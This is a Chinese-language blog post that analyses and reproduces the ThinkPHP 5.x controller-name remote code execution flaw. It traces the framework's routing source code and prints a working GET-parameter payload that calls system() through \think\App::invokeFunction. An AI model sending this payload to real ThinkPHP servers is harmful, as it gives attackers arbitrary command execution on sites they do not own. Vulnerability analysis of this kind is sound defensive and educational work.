ThinkPHP5.x rec 漏洞分析與復現

https://help.aliyun.com/noticelist/articleid/1000081331.html?spm=5176.2020520001.1004.7.2e874bd363uLuf

先貼個漏洞預警,這裏做一些內容摘要:

漏洞描述

由於ThinkPHP5框架對控制器名沒有進行足夠的安全檢測,導致在沒有開啓強制路由的情況下,黑客構造特定的請求,可直接GetWebShell。

影響版本

ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31

漏洞分析

我們從補丁上來對漏洞做一定的分析
5.0.x
再放一個5.0.20源碼
下面使補丁中修改的內容
在這裏插入圖片描述
於是我們從 $ controller開始分析
補丁對$ controller的名稱做了過濾,接着往下看代碼:
在這裏插入圖片描述
這裏對controller實例化,到Loader裏看看:

    public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {
        list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

        if (class_exists($class)) {
            return App::invokeClass($class);
        }

        if ($empty) {
            $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

            if (class_exists($emptyClass)) {
                return new $emptyClass(Request::instance());
            }
        }

大體意思就是如果這個類name存在就實例化,接着跟進getModuleAndClass:

    protected static function getModuleAndClass($name, $layer, $appendSuffix)
    {
        if (false !== strpos($name, '\\')) {
            $module = Request::instance()->module(); 
            $class  = $name;  
        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = Request::instance()->module();
            }

            $class = self::parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class]; 
    }

這個函數會將module和class返回,用於實例化,利用命名空間的特點,如果可以控制此處,如果可以控制此處的class,也就是補丁裏的controller,就可以實例化任意類。如果我們設置控制器爲\think\App,可以構造payload調用其方法invokeFuction,

    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 記錄執行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

接下來就是如何設置controller爲\think\App

$controller = strip_tags($result[1] ?: $config['default_controller']);

其中把result[1]的值傳遞到$ control中,

public static function module($result, $config, $convert = null)

接着找在哪裏用了module方法,

protected static function exec($dispatch, $config){
	...
	$data = self::module(
                $dispatch['module'],
                $config,
                isset($dispatch['convert']) ? $dispatch['convert'] : null
            );
	...
}

可以看到$ resule來自$ dispatch[‘module’],接着往前翻

public static function run(Request $request = null){
	...
	$dispatch = self::$dispatch;
	if (empty($dispatch)) {
    	$dispatch = self::routeCheck($request, $config);
    }
	...
	$data = self::exec($dispatch, $config);
	...
}

追routeCheck

    public static function routeCheck($request, array $config)
    {
    	
    	...
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        ...
    }

到Route中可以發現解析URL並沒有進行安全檢測
從Request::path()追到pathinfo()

    public function pathinfo()
    {
        if (is_null($this->pathinfo)) {
            if (isset($_GET[Config::get('var_pathinfo')])) {
                // 判斷URL裏面是否有兼容模式參數
                $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
                unset($_GET[Config::get('var_pathinfo')]);
            } elseif (IS_CLI) {
                // CLI模式下 index.php module/controller/action/params/...
                $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            }

            // 分析PATHINFO信息
            if (!isset($_SERVER['PATH_INFO'])) {
                foreach (Config::get('pathinfo_fetch') as $type) {
                    if (!empty($_SERVER[$type])) {
                        $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
                        substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
                        break;
                    }
                }
            }
            $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
        }
        return $this->pathinfo;
    }

var_pathinfo的默認配置爲s,我們可以通過$_GET[‘s’]來傳參
於是構造payload

?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

漏洞復現:

在本地臨時搭搭建了版本爲5.0.22的tp:
在這裏插入圖片描述
~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章